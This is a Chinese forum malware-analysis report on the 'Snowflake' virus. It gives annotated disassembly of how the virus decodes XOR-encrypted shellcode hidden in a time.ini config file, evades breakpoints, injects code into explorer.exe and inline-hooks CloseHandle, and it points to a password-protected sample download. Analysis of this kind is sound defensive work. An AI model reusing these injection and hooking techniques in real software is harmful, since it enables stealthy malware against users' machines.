雪花病毒分析报告

来源:互联网 时间:1970-01-01

标 题: 【原创】雪花病毒分析报告 作 者: wParma 
时 间: 2011-05-21
链 接: http://bbs.pediy.com/showthread.php?t=134304

样本传送门: 猛击下载  

解压密码:virus

前言:

雪花病毒已经飘过有一阵子了,各大杀软已经能完全查杀,但是其中有些想法不错,这里拿出来和各位朋友分享.

病毒特征
1.主程序和恶意代码分离,恶意代码以shellcode的形式加密在单独的配置文件中.
2.只能起一次危害作用.程序运行一次后恶意代码被覆盖.
内容摘要
本次分析的主要关注
病毒向explorer.exe注入恶意代码,并且inlinehook CloseHandle 使恶意代码获得执行机会
分析开始
1.整个病毒的整体流程很简单清晰:
加载time.ini,----->解码time.ini----->改写time.ini的内容----->执行time.ini中的恶意代码
流程图如下所示:


下面主要描述 time.ini的解码,以及time.ini恶意代码执行(shellcode)的过程:
1.1 time.ini解码
解码的过程就是加密数据和key1,key2做两次xor,  Key2存放在time.ini+0偏移处,也就是开始的几个字符"0x00505372", key1初始为0在每次解码的时候和解码结果做加法变换
具体流程如下图所示:

 代码简单注释如下:

 1 ;time.ini的解码
 2 00401926   > /8B4D E8               mov     ecx, dword ptr [ebp-18]
 3 00401929   . |83C1 04               add     ecx, 4
 4 0040192C   . |894D E8               mov     dword ptr [ebp-18], ecx
 5 0040192F   > |8B55 E8               mov     edx, dword ptr [ebp-18]
 6 00401932   . |3B55 E4               cmp     edx, dword ptr [ebp-1C]
 7 00401935   . |7D 33                 jge     short 0040196A                                  ;  解密是否完成
 8 00401937   . |8B45 08               mov     eax, dword ptr [ebp+8]
 9 0040193A   . |0345 E8               add     eax, dword ptr [ebp-18]
10 0040193D   . |8B08                  mov     ecx, dword ptr [eax]
11 0040193F   . |894D EC               mov     dword ptr [ebp-14], ecx                         ;  获取加密数据
12 00401942   . |8B55 EC               mov     edx, dword ptr [ebp-14]
13 00401945   . |3355 F0               xor     edx, dword ptr [ebp-10]                         ;  用加密的数据和key1做xor
14 00401948   . |8955 EC               mov     dword ptr [ebp-14], edx
15 0040194B   . |8B45 EC               mov     eax, dword ptr [ebp-14]
16 0040194E   . |3345 F8               xor     eax, dword ptr [ebp-8]                          ;  用第一步的结果和key2做xor,key2来自time.ini+0处
17 00401951   . |8945 EC               mov     dword ptr [ebp-14], eax
18 00401954   . |8B4D F0               mov     ecx, dword ptr [ebp-10]
19 00401957   . |034D EC               add     ecx, dword ptr [ebp-14]                         ;  变换key1,用key1和解密数据做add
20 0040195A   . |894D F0               mov     dword ptr [ebp-10], ecx
21 0040195D   . |8B55 08               mov     edx, dword ptr [ebp+8]
22 00401960   . |0355 E8               add     edx, dword ptr [ebp-18]
23 00401963   . |8B45 EC               mov     eax, dword ptr [ebp-14]
24 00401966   . |8902                  mov     dword ptr [edx], eax                            ;  保存解密后的数据
25 00401968   .^/EB BC                 jmp     short 00401926

 

经过上面的解码过程time.ini中的数据已经变成可执行的shellcode.

1.2 time.ini恶意代码(shellcode)执行

1.2.1 shellcoede执行的起始位
shellcoede执行的起始位置由 time.ini+0x8处的偏移来计算,计算方法是time.ini+0xc在内存中的位置为基质加上time.ini+0x8的数据为偏移
具体代码以及简单注释如下所示:
 1 0040150A  |.  8B4D 08               mov     ecx, dword ptr [ebp+8]
 2 0040150D  |.  8B11                  mov     edx, dword ptr [ecx]
 3 0040150F  |.  8955 FC               mov     dword ptr [ebp-4], edx                          ;  offset 获取shellcode开始执行的偏移 在time.ini+0x8取
 4 00401512  |.  8B45 08               mov     eax, dword ptr [ebp+8]
 5 00401515  |.  83C0 04               add     eax, 4                                          ;  baseaddress 获取time.ini+c偏移在内存中的位置
 6 00401518  |.  8945 F8               mov     dword ptr [ebp-8], eax
 7 0040151B  |.  8B4D F8               mov     ecx, dword ptr [ebp-8]
 8 0040151E  |.  034D FC               add     ecx, dword ptr [ebp-4]                          ;  shellOEP = baseaddress+offset 通过计算或得shellcode开始执行的位置
 9 00401521  |.  0FBE11                movsx   edx, byte ptr [ecx]
10 00401524  |.  83FA 55               cmp     edx, 55                                         ;  通过特征码验证shellOEP是否正确
11 00401527  |.  0F85 94000000         jnz     004015C1


按照上面的偏移进入shellcode后的整体流程如下所示:


1.2.2.1 获取kernel32基质:
获取kernel32基质的方式用的是fs:0论坛前辈已经详细讲解过这里不再重复,

1.2.2.2 获取API:
病毒在获取API的时候对断点进行了检查并且对地址做了简单的处理,就是把函数地址-1这样在动态分析的时候看不到函数名字很不方便.没准还能逃避一些主防手段
还原的方式也很简单只要nop掉00C5036F  00C50375 两处的代码即可.
具体代码如下
;断点检测和地址简单处理

 

1 00C5036C    8038 CC                 cmp     byte ptr [eax], 0CC                             ; 当前获取函数是否被下断点
2 00C5036F    74 7F                   je      short 00C503F0
3 00C50371    48                      dec     eax                                             ; 获取的函数地质-1
4 00C50372    8038 90                 cmp     byte ptr [eax], 90                              ; 当前指向的位置是否为nop,如果不是还原地质
5 00C50375    74 01                   je      short 00C50378
6 00C50377    40                      inc     eax

1.2.2.3 遍历进程:
遍历进程寻找explorer.exe的代码很普通不多说了,

1.2.2.4 恶意代码注入explorer.exe 和 对 CloseHandle的inlinehook
找到explorer.exe后通过OpenProcess打开之,然后读取explorer.exe中CloseHandle函数的前五字节并保存,这里explorer.exe中CloseHandle函数地址直接用的自身CloseHandle的地址
因为大部分情况下不同进程kernel32.dll的基质是一样的.这个假设在这里也成立.

有了CloseHandle的位置以后就可以对 explorer.exe 的函数进行Hook了,病毒在进行Hook之前先将hook的目的函数写入了explorer.exe 并计算出了Hook点的代码

 1 00C5C649    FF10                    call    dword ptr [eax]                                 ; ReadProcessMemory
 2 00C5C64B    85C0                    test    eax, eax
 3 00C5C64D    0F84 F3000000           je      00C5C746
 4 00C5C653    8B45 D6                 mov     eax, dword ptr [ebp-2A]
 5 00C5C656    3D 8BFF558B             cmp     eax, 8B55FF8B                                   ; 用特征值比对是否读取正确
 6 00C5C65B    0F85 DE000000           jnz     00C5C73F
 7 00C5C661    6A 40                   push    40
 8 00C5C663    68 00100000             push    1000
 9 00C5C668    68 14C80000             push    0C814
10 00C5C66D    6A 00                   push    0
11 00C5C66F    FF75 F8                 push    dword ptr [ebp-8]
12 00C5C672    E8 04000000             call    00C5C67B                                        ; 读取成功在explorer.exe中申请一块内存
13 00C5C677    E7 BD                   out     0BD, eax
14 00C5C679    0000                    add     byte ptr [eax], al
15 00C5C67B    58                      pop     eax
16 00C5C67C    2B00                    sub     eax, dword ptr [eax]
17 00C5C67E    FF10                    call    dword ptr [eax]
18 00C5C680    85C0                    test    eax, eax
19 00C5C682    0F84 BE000000           je      00C5C746
20 00C5C688    8945 F4                 mov     dword ptr [ebp-C], eax                          ; 保存内存地址
21 00C5C68B    8D45 D6                 lea     eax, dword ptr [ebp-2A]
22 00C5C68E    C600 E9                 mov     byte ptr [eax], 0E9
23 00C5C691    B9 F4C40000             mov     ecx, 0C4F4                                      ; 注入到explorer.exe部分shellcode开始执行地址偏移是个营编码值
24 00C5C696    034D F4                 add     ecx, dword ptr [ebp-C]                          ; 计算注入到explorer.exe后ShellCode开始执行的 内存地址
25 00C5C699    2B4D E4                 sub     ecx, dword ptr [ebp-1C]
26 00C5C69C    83E9 05                 sub     ecx, 5                                          ; 计算JMP指令的值(计算Hook点的代码)
27 00C5C69F    8948 01                 mov     dword ptr [eax+1], ecx
28 00C5C6A2    C745 EC 14C80000        mov     dword ptr [ebp-14], 0C814
29 00C5C6A9    C745 F0 00000000        mov     dword ptr [ebp-10], 0
30 00C5C6B0    C745 E8 00000000        mov     dword ptr [ebp-18], 0
31 00C5C6B7    837D EC 00              cmp     dword ptr [ebp-14], 0
32 00C5C6BB    74 42                   je      short 00C5C6FF
33 00C5C6BD    8D45 F0                 lea     eax, dword ptr [ebp-10]
34 00C5C6C0    50                      push    eax
35 00C5C6C1    FF75 EC                 push    dword ptr [ebp-14]
36 00C5C6C4    E8 04000000             call    00C5C6CD
37 00C5C6C9    BD C6000058             mov     ebp, 580000C6
38 00C5C6CE    2B00                    sub     eax, dword ptr [eax]
39 00C5C6D0    0345 E8                 add     eax, dword ptr [ebp-18]
40 00C5C6D3    50                      push    eax
41 00C5C6D4    8B45 F4                 mov     eax, dword ptr [ebp-C]
42 00C5C6D7    0345 E8                 add     eax, dword ptr [ebp-18]
43 00C5C6DA    50                      push    eax
44 00C5C6DB    FF75 F8                 push    dword ptr [ebp-8]
45 00C5C6DE    E8 04000000             call    00C5C6E7                                        ; 将timt.ini+0xc开始解码后的数据写入explorer.exe进程地址空间

 

将Shellcode写入目标进程后 病毒 Hook的目标进程 的kernel32.CloseHandle

具体代码如下:

 1 00C5C719    FF10                    call    dword ptr [eax]                                 ; 修改CloseHandle处的内存读写属性
 2 00C5C71B    85C0                    test    eax, eax
 3 00C5C71D    74 27                   je      short 00C5C746
 4 00C5C71F    6A 00                   push    0
 5 00C5C721    6A 05                   push    5
 6 00C5C723    8D45 D6                 lea     eax, dword ptr [ebp-2A]
 7 00C5C726    50                      push    eax
 8 00C5C727    FF75 E4                 push    dword ptr [ebp-1C]
 9 00C5C72A    FF75 F8                 push    dword ptr [ebp-8]
10 00C5C72D    E8 04000000             call    00C5C736                                        ; 用上一步骤计算好的JMP指令替换CloseHandle的前5字节

 

经过上面ShellCode代码注入和对CloseHandle的inlineHook病毒代码已经可以在explorer.exe执行过程中或得执行的权利 ,

经过inlinehook和恶意代码注入两个步骤explorer.exe地址空间内发生了如下图所示的变化
hook前


hook后


如果explorer.exe调用CloseHandle这个API的话如下所示的恶意代码将获得执行的机会 貌似是个下载者,这里不做为重点分析

被写入的恶意shellcode


 搞完收工


相关阅读:
Top